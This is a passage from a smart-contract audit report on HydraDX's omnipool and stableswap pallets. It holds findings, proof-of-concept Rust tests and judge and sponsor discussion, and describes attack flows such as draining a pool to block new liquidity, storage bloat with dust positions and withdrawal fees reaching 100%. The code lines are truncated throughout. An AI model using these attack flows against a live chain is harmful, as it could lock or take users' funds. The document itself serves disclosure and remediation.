As happening in the function `add_token()` **here**.

```
delta_shares: BalanceUpda
```

Assessed type

Context

Lambda (judge) decreased severity to Medium and commented:

> The warden identified that the complete removal of liquidity can be problematic, although from a different angle and without mentioning the full impact. Giving partial credit for this.

castle_chain (warden) commented:

> @Lambda - I am requesting that this issue be considered as a solo medium for the following reasons:

> Firstly, this was marked as a duplicate of Issue #86. However, Issue #86 has nothing to do with this finding for these reasons:

- Issue #86 refers to an issue in the stableswap pallet, not the omnipool. **This finding, on the other hand, refers to an issue in the omnipool pallet.**
- While removing all liquidity from a pool in the stableswap will always fail according to Issue #86, removing all liquidity from a pool in the omnipool pallet will succeed, but it will cause a permanent DoS (Denial-of-Service) attack on the pool by permanently disabling liquidity addition due to the division by zero which will throw overflow error mentioned in the submitted report and the PoC.

> As demonstrated, these are two distinct issues. Issue #86 has an impact of (temporary) locked funds, according to the judge's comment:

> This can lead to (temporary) locked funds in edge cases, so Medium is appropriate here.

> **In contrast, my report highlights a permanent DoS impact to the function** `add_liquidity` **,** `sell` **,and** `buy` **. So the two findings have two completely different locations, two different impacts, and two different**

> affected functions:

Category	Issue 86	Issue 75 (current)
Location (pallet)	stableswap	omnipool
Impact	temporary DoS	permanent DoS
Can complete liquidity removal be done ?	no (this is the problem)	yes (this is the cause of the problem)
Affected function (disabled function)	remove*liquidity*one_asset (liquidity removal always failed)	add_liquidity (liquidity addition always failed)
Root cause	overflow	overflow
Mitigation	allow multi-asset withdrawal in the staple swap pallet	handle the situation of no liquidity exists in the pool

> The judge mentioned that the report did not mention the full impact. While I described it in the impact section, let me clarify:

The full impact mentioned in the report: permanent disable of liquidity addition `==` permanent DoS of the function `add_liquidity`.

> Since this is an edge case, which can simply happen, that causes a permanent DoS forever, it does not require an attacker or an attack to be triggered and cause damage to the protocol. **However, an attacker could trigger this edge case as the PoC test got performed, you can consider the `LP2` as the attacker, who can withdraw all the liquidity that he possessed leaving the pool in DoS state.** The DoS can also happen without an attacker, simply by users removing all liquidity from the pool.

> I mentioned complete liquidity removal to encompass all scenarios where this issue can cause a DoS and disable liquidity addition and trading. Therefore, I stated:

> If all liquidity shares have been removed from any pool.

> This includes:

- A single malicious user possessing all the liquidity shares of the pool and removing them (attack or normal action), the user `LP2` mentioned in the PoC can be the attacker.
- All liquidity providers removing their liquidity (normal action).

POC for the attack done by a malicious user

> Please consider running my submitted PoC to check that the attack flow got executed successfully, you can also consider `LP2` as the `position_owner`.

> **The attacker also can be the `position_owner` which is untrusted entity, or another malicious user, or as normal action done by the liquidity providers; the `position_owner`, who is the initial liquidity provider, can perform this attack and DoS the entire pool after adding the token by the `authority_origin` immediately.**

> The attack flow:

1. The `asset_a` got added by calling the `add_token` function this function mint the `shares` of the initial liquidity to the `position_owner` as shown here.
2. The `position_owner` removed all his liquidity from the pool and burnt his all shares by calling the function `remove_liquidity` here, passing the amount of `shares` minted to him as the `amount` to this function and removed all the liquidity from the pool.
3. After the entire liquidity removal, all liquidity providers will be prevented from adding liquidity to the `asset_a` pool, due to the fact that the

reserve of the `asset_a` of the pool now is equal to zero as I tested in my coded POC. The function `add_liquidity` will always revert due to division by zero error, because the division performed, as shown here:

```
let delta_shares_hp = shares_hp
        .checked_mul(amount_hp)
        .and_then(|v| v.checked_div(reserve_hp))?
```

Lock of funds risk if someone sends some amount of asset to the pool after the entire liquidity has been removed.

> As mentioned, there is also another DoS and lock of funds of the liquidity providers, if the entire liquidity removal of `asset_a` happens and then any user send some amount of `asset_a` to the pool, this will allow the execution of the function `add_liquidity` , but it will returns zero amount of `shares` to the LP, so it will cause lock of funds for the liquidity provider forever.

> The impact I mentioned in the report clearly demonstrates the impact on both the protocol and the users. The first two impacts clearly emphasize the DoS that will occur and the third describes the financial losses of the protocol.

> **Therefore, this finding suffices medium, as per the severity guidelines Med requires "Assets not at direct risk, but the function of the protocol or its availability could be impacted".**

> When writing the proof-of-concept which submitted during the audit, I focused on demonstrating how this edge case can occur. This provides the sponsor with a clear explanation of how to mitigate this issue and pinpoint the location of the error. Therefore, the PoC includes an `assert_noop` statement to ensure that calling the `add_liquidity()`

> function after the entire liquidity has been removed from the pool, it will revert with the error `ArithmeticError::Overflow`, which indicates an error in the function `calculate_add_liquidity_state_changes`.

> Due to this, the function `add_liquidity` will always revert, meaning the pool will always be empty, so **the trading will also got disabled forever, which is considered a DoS attack.**

castle_chain (warden) commented:

> I am providing this additional PoC to prove that sending any non-zero amount of any asset after the entire liquidity removal from the omnipool will cause lock of all funds forever to all liquidity providers.

PoC to test `add_liquidity` after all the liquidity had been removed and the `asset_reserve` is not empty

> This DoS attack will happen when the entire liquidity got removed from the pool of `asset_a`, and the*attacker sends minimum non-zero amount of `asset_a` to the omnipool pallet account.

> Consider adding this test in `remove_liquidity.rs` test file, and then run it to see the logs.

> The PoC is commented with all the details of the attack:

1. LP2 provided 2000 units of `asset_a` by the function `with_token` of the test. the pool state and the LP2 position are now:

```
asset state before liquidity removal AssetReserveState {
        reserve: 2000000000000000, hub_reserve: 130000000
        shares: 2000000000000000, protocol_shares: 0
```

```
        the lp2_position before all liquidity removal:
        Position { asset_id: 1000, amount: 20000000000000
                shares: 2000000000000000
```

2. The LP2 removed his entire liquidity from the pool, so the pool state now is:

```
the final state after all liquidity has been removed:
AssetReserveState { reserve: 0, hub_reserve: 0
        , shares: 0, protocol_shares: 0
```

3. The attacker `LP1` sends one unit of `asset_a` to the pool, and the `LP2` adds liquidity of `400` units of `asset_a`. This will result in asset state of `asset_a` in the omnipool to be `400 + 1 = 401`, and the shares allocated and minted to `LP2` position will be zero.

```
 the lp2_position  after adding liquidity of 400 units of
Position { asset_id: 1000, amount: 400000000000000
        ,shares: 0

        the new state after liquidity provision had done
        AssetReserveState { reserve: 401000000000000,
                hub_reserve: 0, shares: 0, protocol_share
```

> As shown, the total shares in the pool is equal to zero, and the position shares of the `LP2` is equal to zero, which is consider a permanent lock of funds.

PoC

```
#[test]
fn full_liquidity_removal_then_add_liquidity() {
        ExtBuilder::default()
                .with_endowed_accounts(vec![
                        (Omnipool::protocol_account(), DA
                        (Omnipool::protocol_account(), HD
                        (LP2, 1_000, 2000 * ONE),
                        (LP1, 1_000, 5000 * ONE),
                ])
                .with_initial_pool(FixedU128::from_float(
                .with_token(1_000, FixedU128::from_float(
                .build()
                .execute_with(|| {
                        let asset_a = 1_000;
                        // how to perform this DoS attack
                        // lp2 provides 2000 units of ass
                        // lp1 send some assets to the po
                        // this will prevent the function
                        // lp2 will add liquidity of 400

                        // the lp2 position is the last p
                        let lp2_position_id = <NextPositi
                        // get asset_a state.
                        println!(
                                "asset state before the e
                                Omnipool::load_asset_stat
                        );
                        let pos = Positions::<Test>::get(
                        println!(" the lp2_position befor
                        // lp2 remove his all  liquidity
                        assert_ok!(Omnipool::remove_liqui
                        // this makes sure that all liqui
                        assert!(
                                Positions::<Test>::get(lp
                                "Position still found"
                        );
                        // state of asset_a after the ent
                        println!(
                                "the final state after al
```

```
                        Omnipool::load_asset_stat
                    );
                    // the attacker LP1 send 1 unit o
                    Tokens::transfer(RuntimeOrigin::s
                    let liq_added = 400 * ONE;
                    // the LP2 added liquidity to the
                    assert_ok!(Omnipool::add_liquidit
                    // get the new position of the LP
                    let new_lp2_position_id = <NextPo

                    let pos = Positions::<Test>::get(
                    println!(
                        " the lp2_position  after
                        pos.unwrap()
                    );
                    println!(
                        "the new state after liqu
                        Omnipool::load_asset_stat
                    );
                });
}
```

> You can run the test and see the Logs that I used to explain the attack flow:

```
running 1 test
asset state before the entire liquidity removal AssetRese
 the lp2_position before all liquidity removal: Position
the final state after all liquidity has been removed: Ass
 the lp2_position  after adding liquidity of 400 units of
the new state after liquidity provision had done but NO s
```

> The two issues can be mitigated by the same mitigation steps, as I mentioned in the submitted report.

Lambda (judge) commented:

> This was indeed wrongly duplicated. The warden displayed an edge case that impacts the correct functioning of the protocol. Although it is rare and might or might not occur in practice (because the owner of the initial liquidity needs to remove their position), it is possible in the current code base.

enthusiastmartin (HydraDX) disputed and commented:

> This is desired behavior. If all liquidity has been removed from a pool, then there is no spot price, so we cannot allow anyone to add liquidity in that token. We must go through the process of adding the token to Omnipool all over again, as if it was new token entirely.

Note: For full discussion, see here.

[M-07] Re-adding assets to the omnipool can cause a problem with the oracle

Submitted by TheSchnilch

https://github.com/code-423n4/2024-02-hydradx/blob/603187123a20e0cb8a7ea85c6a6d718429caad8d/HydraDX-node/pallets/omnipool/src/lib.rs#L1541-L1574
https://github.com/code-423n4/2024-02-hydradx/blob/603187123a20e0cb8a7ea85c6a6d718429caad8d/HydraDX-node/pallets/omnipool/src/traits.rs#L164-L190
https://github.com/code-423n4/2024-02-hydradx/blob/603187123a20e0cb8a7ea85c6a6d718429caad8d/HydraDX-node/pallets/ema-oracle/src/lib.rs#L558-L566

Impact

If an asset is removed from the omnipool, it is ensured that all data records in the omnipool are deleted and also all positions from liquidity providers. However, the data records in the Oracle are not reset. This means that if the asset is to be added again after some time and it then has a different price, the price in the Oracle is falsified.

POC

Here is a PoC which can be inserted into the file `integration-tests/src/omnipool_init.rs` , which can be started with the following command: `SKIP_WASM_BUILD=1 cargo test -p runtime-integration-tests poc -- --nocapture`

```
#[test]
pub fn poc() {
        TestNet::reset();

        Hydra::execute_with(|| {
                let omnipool_account = hydradx_runtime::C

                init_omnipool();

                let position_id_init = hydradx_runtime::C
                assert_ok!(hydradx_runtime::Omnipool::adc
                        hydradx_runtime::RuntimeOrigin::r
                        DOT,
                        FixedU128::from_float(1.0),
                        Permill::from_percent(100),
                        AccountId::from(ALICE)
                ));
                hydradx_run_to_next_block();

                assert_ok!(hydradx_runtime::Omnipool::sac
                        hydradx_runtime::RuntimeOrigin::s
```

```
        position_id_init
));
hydradx_run_to_next_block();

assert_ok!(hydradx_runtime::Omnipool::set
        hydradx_runtime::RuntimeOrigin::r
        DOT,
        Tradability::FROZEN
));

assert_ok!(hydradx_runtime::Omnipool::rem
        hydradx_runtime::RuntimeOrigin::r
        DOT,
        AccountId::from(ALICE)
));

//This is simply to skip a few blocks to
hydradx_run_to_next_block();
hydradx_run_to_next_block();
hydradx_run_to_next_block();
hydradx_run_to_next_block();
hydradx_run_to_next_block();
hydradx_run_to_next_block();
hydradx_run_to_next_block();

assert_ok!(hydradx_runtime::Tokens::trans
        hydradx_runtime::RuntimeOrigin::s
        omnipool_account,
        DOT,
        500 * UNITS
));

assert_ok!(hydradx_runtime::Omnipool::add
        hydradx_runtime::RuntimeOrigin::r
        DOT,
        FixedU128::from_float(10.0), //Th
        Permill::from_percent(100),
        AccountId::from(ALICE)
));
```

```
                hydradx_run_to_next_block();

                let return_value = hydradx_runtime::Omnip
                        hydradx_runtime::RuntimeOrigin::s
                        DOT,
                        1 * UNITS
                );
                println!("return_value: {:?}", return_val
                hydradx_run_to_next_block();

                let (price_short, _) = hydradx_runtime::E
                println!("price_short: {:?}", price_short
        });
}
```

Description

If an asset is removed from the Omnipool, all of its data will be deleted from the Omnipool. However, the data from the asset remains in the Oracle and is not deleted there. The Oracle then continues to store the data of the removed asset in this StorageMap:

```
pub type Oracles<T: Config> = StorageNMap<
                _,
                (
                        NMapKey<Twox64Concat, Source>,
                        NMapKey<Twox64Concat, (AssetId, A
                        NMapKey<Twox64Concat, OraclePerio
                ),
                (OracleEntry<BlockNumberFor<T>>, BlockNum
                OptionQuery,
        >;
```

See ema-oracle/src/lib.rs#L153-L162.

The price is stored here once for the last block and once with the exponential moving average logic for a few blocks in the past. (This is the short period)

The problem now is when an asset is added again and its price has changed. As a result, the new price is calculated using the exponential moving average logic with the entries of the blocks before the asset was removed and the new entries that have been added since the asset was re-added, which leads to an incorrect price. The wrong price can also cause ensure*price in add*liquidity to fail and therefore no liquidity can be added:

```
T::PriceBarrier::ensure_price(
                        &who,
      T::HubAssetId::get(),
                  asset,
            EmaPrice::new(asset_state.hub_reserve, asset_
)
.map_err(|_| Error::<T>::PriceDifferenceTooHigh)?;
```

See omnipool/src/lib.rs#L597-L603.

Any protocol that uses this oracle as a price source would receive an incorrect price for the re-added asset for a short period of time.

Recommendation

Even if the price balances out again after some time (the length of the short period), an incorrect price is initially calculated after re-adding an asset for which the price has changed. I would recommend deleting the Oracle entries when removing an asset. This means that the price of the asset can be calculated correctly from the start when it is added again.

Assessed type

Oracle

enthusiastmartin (HydraDX) acknowledged, but disagreed with severity and commented:

> It has no impact, and it is currently intended to keep it in oracle.

> It might be an issue when we decided to add a token back; although, the price would correct itself anyway.

Lambda (judge) commented:

> The warden identified an edge case (reading a token that was previously removed) where keeping the old values can lead to problems (short DoS or wrong prices used if deviation is not too large). Medium is appropriate here because a value leak with some external requirements is possible.

[M-08] Storage can be bloated with low value liquidity positions

Submitted by J4X

When using the substrate framework, it is one of the main goals of developers to prevent storage bloat. If storage can easily be bloated by users, this can lead to high costs for the maintainers of the chain and a potential DOS. A more in detail explanation can be found here.

The Omnipool allows users to deposit liquidity to earn fees on swaps. Whenever a user deposits liquidity through `add_liquidity()`, he gets an NFT minted and the details of his deposit are stored in the `Positions` map:

```
let instance_id = Self::create_and_mint_position_instance

<Positions<T>>::insert(instance_id, lp_position);
```

To ensure that this storage is only used for serious deposits, it is ensured to be above `MinimumPoolLiquidity` which is `1,000,000` tokens in the runtime configuration.

```
ensure!(
        amount >= T::MinimumPoolLiquidity::get() && amour
        Error::<T>::MissingBalance
);
```

Additionally, whenever a deposit gets fully withdrawn, the storage entry is removed:

```
if updated_position.shares == Balance::zero() {
        // All liquidity removed, remove position and bur

        <Positions<T>>::remove(position_id);
        T::NFTHandler::burn(&T::NFTCollectionId::get(), &

        Self::deposit_event(Event::PositionDestroyed {
                position_id,
                owner: who.clone(),
        });
}
```

Unfortunately, this implementation does not take into account that a malicious user can add `MinimumPoolLiquidity` tokens, and then instantly withdraw all but 1. In that case, he has incurred almost no cost for bloating the storage (besides the 1 token and gas fees) and can keep on doing this

countless times.

Impact

The issue allows a malicious attacker to bloat the storage in a cheap way. If done often enough this allows him to DOS the functionality of the HydraDX protocol by bloating the storage significantly until it can't be maintained anymore. If the attacker uses a very low-value token, he only incurs the gas fee for each new entry.

If we consider that the intended cost for adding a new position entry (to potentially DOS) as defined by the `MinimumPoolLiquidity` should be `1_000_000` tokens, this issue allows an attacker to get the same storage bloat for `1/1_000_000` or 0.0001% of the intended cost.

Proof of Concept

The following testcase showcases the issue:

```
#[test]
fn remove_liquidity_but_one() {
        ExtBuilder::default()
                .with_endowed_accounts(vec![
                        (Omnipool::protocol_account(), DA
                        (Omnipool::protocol_account(), HD
                        (LP2, 1_000, 2000 * ONE),
                        (LP1, 1_000, 5000 * ONE),
                ])
                .with_initial_pool(FixedU128::from_float(
                .with_token(1_000, FixedU128::from_float(
                .build()
                .execute_with(|| {

                        let liq_added = 1_000_000; //Exac
                        let current_position_id = <NextPo
```

```
                assert_ok!(Omnipool::add_liquidit

                let liq_removed = 200 * ONE;
                assert_ok!(Omnipool::remove_liqui
                        RuntimeOrigin::signed(LP1
                        current_position_id,
                        1_000_000-1 //Remove all
                ));

                let position = Positions::<Test>:
                let expected = Position::<Balance
                        asset_id: 1_000,
                        amount: 1,
                        shares: 1,
                        price: (1300000000650000,
                };

                //There now is a position with 1
                assert_eq!(position, expected);
        });
}
```

The testcase can be added to the `pallets/omnipool/src/tests/remove_liquidity.rs` file.

Recommended Mitigation Steps

The issue can be mitigated by not letting the amount in an open position fall below `MinimumPoolLiquidity`. This can be enforced as follows in the `remove_liquidity()` function:

```
    ensure!(
            updated_position.amount >= T::MinimumPoolLiquidit
            Error::<T>::InsufficientLiquidity
    );
```

Assessed type

DoS

enthusiastmartin (HydraDX) disputed and commented:

> This is publicly known issue, raised by our team here.

Lambda (judge) commented:

> While the sponsor was already aware of the issue, it was not ruled out as a known issue in the audit description and therefore, cannot be deemed out of scope.

QiuhaoLi (warden) commented:

> @Lambda and @enthusiastmartin, thanks for the review. I have a question (not a dispute):

> Haven't we already limited the storage usage with gas fees (weight) in omnipool/src/weights.rs?:

```
            /// Storage: `Omnipool::Positions` (r:0 w:1)  <==
            /// Proof: `Omnipool::Positions` (`max_values`: N
            fn add_liquidity() -> Weight {
                    // Proof Size summary in bytes:
                    //  Measured:  `3919`
                    //  Estimated: `8739`
```

```
                // Minimum execution time: 220_969_000 pi
                Weight::from_parts(222_574_000, 8739)
                        .saturating_add(T::DbWeight::get(
                        .saturating_add(T::DbWeight::get(
        }
```

> As we can see, the user will be charged the fees of storage writes for minting new positions. So if an attack tries to bloat the storage, it will suffer from the corresponding fees.

J4X (warden) commented:

> @QiuhaoLi - The costs for a protocol on Polkadot consist of 2 kinds of costs. The computation costs are forwarded to the user using the weights and the storage costs, which have to be handled by the protocol themselves.

> The attacker is correctly charged for the storage instruction (computation cost) but is able to force the protocol to incur the constant cost of maintaining the positions (storage cost). This storage cost should only be incurred by the protocol for serious positions, which is why they have set a minimum of 1 million tokens. From positions of that size, they can recoup their storage cost through other fees. As one can see in the issue this can be circumvented and the protocol will not be able to recoup the storage costs through fees on dust positions leading to a potential DOS. This can happen if the storage is flooded with dust positions, leading to massive storage costs that the protocol can not recoup through fees due to the insufficient size of each position.

> As the sponsor has acknowledged this is a valid issue that they are trying to fix internally, so I don't see why this should be invalidated.

QiuhaoLi (warden) commented:

> @J4X - thanks a lot for the explanation! I once thought about the cost of positions and decided it has been charged as fees just like Ethereum storage, which seems wrong. As I said this is not a dispute, just a question, nice finding!

[M-09] Missing hook call will lead to incorrect oracle results

Submitted by J4X, also found by tsvetanovv

The HydraDx protocol includes an oracle. This oracle generates prices, based upon the information it receives from its sources (of which Omnipool is one). The Omnipool provides information to the oracle through the `on_liquidity_changed` and `on_trade` hooks. Whenever a trade happens or the liquidity in one of the pools changes the corresponding hooks need to be called with the updated values.

The Omnipool contract also includes the `remove_token()` function. This function can only be called by the authority and can be only called on an asset which is FROZEN and where all the liquidity shares are owned by the protocol.

```
ensure!(asset_state.tradable == Tradability::FROZEN, Erro
ensure!(
        asset_state.shares == asset_state.protocol_shares
        Error::<T>::SharesRemaining
);
```

When the function gets called it transfers all remaining liquidity to the beneficiary and removes the token. This is a change in liquidity in the Omnipool. The functionality in terms of liquidity change is similar to the

`withdraw_protocol_liquidity()` where the protocol also withdraws liquidity in the form of `protocol_shares` from the pool. When looking at the `withdraw_protocol_liquidity()` function, one can see that it calls the `on_liquidity_changed` hook at the end, so that the oracle receives the information about the liquidity change.

```
T::OmnipoolHooks::on_liquidity_changed(origin, info)?;
```

Unfortunately, the `remove_token()` function does not call this hook, keeping the oracle in an outdated state. As the token is removed later on, the oracle will calculate based on liquidity that does not exist anymore in the Omnipool.

Impact

The issue results in the oracle receiving incorrect information and calculating new prices, based on an outdated state of the Omnipool.

Proof of Concept

The issue can be viewed when looking at the code of `remove_token()` where one can see that no call to the hook happens:

```
#[pallet::call_index(12)]
#[pallet::weight(<T as Config>::WeightInfo::remove_token(
#[transactional]
pub fn remove_token(origin: OriginFor<T>, asset_id: T::As
        T::AuthorityOrigin::ensure_origin(origin)?;
        let asset_state = Self::load_asset_state(asset_id

        // Allow only if no shares are owned by LPs and t
        ensure!(asset_state.tradable == Tradability::FROZ
        ensure!(
```

```
                asset_state.shares == asset_state.protocc
                Error::<T>::SharesRemaining
        );
        // Imbalance update
        let imbalance = <HubAssetImbalance<T>>::get();
        let hub_asset_liquidity = Self::get_hub_asset_bal
        let delta_imbalance = hydra_dx_math::omnipool::ca
                asset_state.hub_reserve,
                I129 {
                        value: imbalance.value,
                        negative: imbalance.negative,
                },
                hub_asset_liquidity,
        )
        .ok_or(ArithmeticError::Overflow)?;
        Self::update_imbalance(BalanceUpdate::Increase(de

        T::Currency::withdraw(T::HubAssetId::get(), &Self
        T::Currency::transfer(asset_id, &Self::protocol_a
        <Assets<T>>::remove(asset_id);
        Self::deposit_event(Event::TokenRemoved {
                asset_id,
                amount: asset_state.reserve,
                hub_withdrawn: asset_state.hub_reserve,
        });
        Ok(())
    }
```

Recommended Mitigation Steps

The issue can be mitigated by forwarding the updated asset state to the oracle by calling the `on_liquidity_changed` hook.

Assessed type

Oracle

enthusiastmartin (HydraDX) disputed and commented via duplicate issue #141:

> The calls is not needed in mentioned functions. `sacrifice_position` does not change any liquidity and `remove_token` just removes token.

J4X (warden) commented:

> @Lambda - This issue has been deemed as invalid due to a comment by the sponsor on Issue #141. Issue #141 describes that in the functions `sacrifice_position()` and `remove_token()`, a hook call to `on_liquidity_changed` is missing. The sponsor has disputed this with the claim that in none of those functions, the liquidity gets changed, which is true for `sacrifice_position()` but not for `remove_token()`. In `sacrifice_position()`, the sacrificed positions' ownership is transferred to the protocol but the liquidity does not change.

> The same is not the case for the `remove_token()` function. As one can see in the following code snippet, the function transfers out all liquidity that is owned by protocol shares to a beneficiary, changing the liquidity in the pool:

```
T::Currency::transfer(asset_id, &Self::protocol_account()
```

> The function documentation also mentions the liquidity change.

> So contrary to the comment of the sponsor, not only does the token get removed but also the liquidity changes, as the protocol-owned liquidity is sent to the beneficiary. This should result in a call to the hook so that the circuit breaker and the oracle get accordingly updated (and trigger at the right values). This could for example lead to an issue if we have a

> maximum liquidity change per block of 100 tokens chosen in our circuit breaker and a token gets removed with 90 tokens of protocol liquidity being withdrawn. A later call withdrawing 20 liquidity would incorrectly pass as the earlier withdrawn liquidity is not accounted for due to the missing hook call. This would undermine the security measure of the circuit breaker as the limits are not correctly enforced. Additionally, due to the missing liquidity update, the oracle will be outdated too.

> I would like to mention that my issue is the only issue that fully and correctly documents the problem, as Issue #141 is reporting an invalid additional issue and also recommends an incorrect mitigation of increasing the liquidityInBlock in `sacrifice_position()`.

Lambda (judge) commented:

> Thanks for your comment. After looking at it again, `remove_token` indeed changes the liquidity like `add_token` does. While `add_token` calls `on_liquidity_changed`, `remove_token` does not, which can lead to inconsistencies.

[M-10] A huge loss of funds for all the users who try to remove liquidity after swapping got disabled at manipulated price.

Submitted by castle_chain, also found by QiuhaoLi, oakcobalt, and J4X

https://github.com/code-423n4/2024-02-hydradx/blob/603187123a20e0cb8a7ea85c6a6d718429caad8d/HydraDX-node/pallets/omnipool/src/lib.rs#L1330-L1360
https://github.com/code-423n4/2024-02-hydradx/blob/603187123a20e0cb8a7ea85c6a6d718429caad8d/HydraDX-node/

pallets/omnipool/src/lib.rs#L759-L764

Impact

This vulnerability will lead to huge loss of funds for liquidity providers that want to withdraw their liquidity if the safe withdrawal is enabled. The loss of funds can be 100% of the liquidity provider's shares.

Proof of Concept

Normal Scenario of manipulating price and disabling removing or adding liquidity:

If the price of certain asset got manipulated, there is an ensure function exist in the `remove_liquidity()` and `add_liquidity()`, so the function should revert in case of the price of an asset got manipulated.

```
T::PriceBarrier::ensure_price(
        &who,
        T::HubAssetId::get(),
        asset,
        EmaPrice::new(asset_state
)
.map_err(|_| Error::<T>::PriceDi
```

This `ensure_price()` function checks that the difference between spot price and oracle price is not too high, so it has critical role to prevent the profitability from this manipulation.

There is also another security parameter which is the Tradability state which can prevent removing or adding liquidity. There is also `withdrawal_fee`, which is used to make manipulating price not profitable, and it can prevent the attacker from getting any of assets if the price difference is too high.

Important assumption:

The assumption is that the withdrawal can be done safely without checking the price difference because the swapping of this asset got disabled so the price is stable, as shown here.

```
                        let safe_withdrawal = asset_state

        pub(crate) fn is_safe_withdrawal(&self) -> bool {
                *self == Tradability::ADD_LIQUIDITY | Tra
        }
}
```

Edge case:

Due to the fact that there is not limitation on setting tradability states to any asset except the `hub_asset`, the tradability state can be set to prevent swapping on asset at manipulated price, by making the tradability state only contain `remove` and `add` liquidity flags, when the difference between spot price and the oracle price is too high.

In such cases, the `remove_liquidity()` function will not revert with price error because the function `ensure-price()` will not work, but it will pass and the `withdrawal_fee` will be equal to 1. So 100% of the liquidity to be removed will be taken from the user as fees and will be distributed on the other liquidity providers.

How this vulnerability can be applied:

1. The price of asset got manipulated and the difference between spot and oracle price is too high.
2. The tradability state of the asset has been set to `remove` and `add`

liquidity only (`buying` and `selling` are disabled).

3. Any user trying to remove his liquidity will be taken as fees and there is no asset will be transferred to the user and the transaction will not revert, since there is no slippage (safety) parameter that can be set by the user to ensure that amount comes from this transaction is equal to what is expected.

The normal scenario here is that the `remove_liquidity` function should revert instead of taking all user assets as `withdrawal_fee` .

The code that calculates the withdrawal fee is:

```
pub fn calculate_withdrawal_fee(
        spot_price: FixedU128,
        oracle_price: FixedU128,
        min_withdrawal_fee: Permill,
) -> FixedU128 {
        let price_diff = if oracle_price <= spot_price {
                spot_price.saturating_sub(oracle_price)
        } else {
                oracle_price.saturating_sub(spot_price)
        };


        let min_fee: FixedU128 = min_withdrawal_fee.into(
        debug_assert!(min_fee <= FixedU128::one());


        if oracle_price.is_zero() {
                return min_fee;
        }

        // fee can be set to 100%
  ->    price_diff.div(oracle_price).clamp(min_fee, Fixed
}
```

The delta assets that send to the user will be zero in case that `withdrawal_fee` is 1.

```
// fee_complement = 0 ;
let fee_complement = FixedU128::one().saturating_

// Apply withdrawal fee
let delta_reserve = fee_complement.checked_mul_in
let delta_hub_reserve = fee_complement.checked_mu
let hub_transferred = fee_complement.checked_mul_

let delta_imbalance = calculate_delta_imbalance(d
```

Tools Used

VS Code

Recommended Mitigation Steps

This vulnerability can be mitigated by only one step:

Check that the price is in the allowed `Range` before disabling the swapping and allow `remove` and `add` liquidity on any asset. This mitigation will make sure that the `safe_withdrawal` is set to true, except if the price in the `Range` so the price is actually stable and safe to withdraw liquidity on this price.

https://github.com/code-423n4/2024-02-hydradx/blob/603187123a20e0cb8a7ea85c6a6d718429caad8d/HydraDX-node/pallets/omnipool/src/lib.rs#L1330-L1361

Consider modifying `set_asset_tradable_state()` function to ensure that

if the state is set to preventing swapping, then ensure the price:

```
                pub fn set_asset_tradable_state(
                        origin: OriginFor<T>,
                        asset_id: T::AssetId,
                        state: Tradability,
                ) -> DispatchResult {
                        T::TechnicalOrigin::ensure_origin

                        if asset_id == T::HubAssetId::get
                                // At the moment, omnipoo
                                // Although BUY is not su
                                ensure!(
                                        !state.contains(T
                                        Error::<T>::Inval
                                );

                                HubAssetTradability::<T>:
                                        *value = state;
                                        Self::deposit_eve
                                        Ok(())
                                })
                        } else {

                                Assets::<T>::try_mutate(a
                                        let asset_state =
+ if (state == Tradability::ADD_LIQUIDITY | Tradability::
+
+       T::PriceBarrier::ensure_price(
+                                        &who,
+                                        T::HubAssetId::ge
+                                        asset_id,
+                                        EmaPrice::new(ass
+                                )
+                                .map_err(|_| Error::<T>::
```

```
                                        asset_state.trada
                                        Self::deposit_eve


                                        Ok(())
                                    })
                                }
                            }
```

Assessed type

Invalid Validation

Lambda (judge) decreased severity to Low and commented:

> Intended behaviour/design that this check is not performed in this state which can only be set by the `AuthorityOrigin`, downgrading to QA.

castle_chain (warden) commented:

> @Lambda,
>
> 1. This finding points to the vulnerable function `set_asset_tradable_state`, because it does not check that the price of the oracle is not too far from the spot price before activate the `safe mode` so it can be front-run by attackers.
> 2. The impact of the 100% of the liquidity withdrawn by the user will be taken as the `withdrawal_fee`, the impact of the Issue #93 is just a 1% due to the absence of the slippage parameter.

Lambda (judge) increased severity to Medium and commented:

> The issue demonstrates that there can be edge cases where a very high

> fee is charged, therefore, upgrading it to a medium.

enthusiastmartin (HydraDX) acknowledged

Note: For full discussion, see here.

Low Risk and Non-Critical Issues

For this audit, 18 reports were submitted by wardens detailing low risk and non-critical issues. The report highlighted below by **castle_chain** received the top score from the judge.

The following wardens also submitted reports: oakcobalt, J4X, zhaojie, alix40, tsvetanovv, bin2chen, alkrrrrp, carrotsmuggler, Ocean_Sky, 3docSec, TheSchnilch, peachtea, QiuhaoLi, Aymen0909, Franfran, ihtishamsudo, *and* ZanyBonzy.

Stapleswap

1. Liquidity providers can not provide the amount of assets that will result in shares more than the total issuance by calling `add_liquidity_shares` function, which is considered loss of value for the protocol

Affected code here.

The function `add_liquidity_shares` uses the function `calculate_add_one_asset` here, which has a constrain that ensures that the shares specified by the user to be minted are not greater than the total issuance. There is nothing should prevent the liquidity providers from providing such amount of asset, and this amount of shares to be minted is not prevented by the function `add_liquidity` so such a constrain should

be removed.

```
        if shares > share_asset_issuance {
                return None;
        }
```

Coded PoC

Consider add this test to the test file `add_liquidity.rs` :

```
    #[test]
    fn add_liquidity_should_work_correctly_when_fee_is_applie
            let asset_a: AssetId = 1;
            let asset_b: AssetId = 2;
            let asset_c: AssetId = 3;
            ExtBuilder::default()
                    .with_endowed_accounts(vec![
                            (BOB, asset_a, 200_000_000_000_00
                            (ALICE, asset_a, 5242599564178858
                            (ALICE, asset_b, 52033213790329),
                            (ALICE, asset_c, 119135337044269)
                    ])
                    .with_registered_asset("one".as_bytes().t
                    .with_registered_asset("two".as_bytes().t
                    .with_registered_asset("three".as_bytes()
                    .with_pool(
                            ALICE,
                            PoolInfo::<AssetId, u64> {
                                    assets: vec![asset_a, ass
                                    initial_amplification: Nc
                                    final_amplification: Non2
                                    initial_block: 0,
                                    final_block: 0,
                                    fee: Permill::from_float(
                            },
```

```
                        InitialLiquidity {
                                account: ALICE,
                                assets: vec![
                                        AssetAmount::new(
                                        AssetAmount::new(
                                        AssetAmount::new(
                                ],
                        },
                )
                .build()
                .execute_with(|| {
                        let pool_id = get_pool_id_at(0);
                        // let amount = 2_000_000_000_000
                        let total_shares = Tokens::total_
                        assert_ok!(Stableswap::add_liquid
                                RuntimeOrigin::signed(BOB
                                pool_id,
                                total_shares + 1,
                                asset_a,
                                200_000_000_000_000_000_0
                        ));
                        let received = Tokens::free_balan
                        println!("shares received after p
                        let bob_balance = Tokens::free_ba
                        let used = 200_000_000_000_000_00
                        println!("used: {:?}", used);
                });
    // 108_887_514_683_615_710_558 assets should be taken fro
    }
```

This test should revert due to the shares requested is greater than the total issuance by 1. To make this test work, you can simply remove this one here:

```
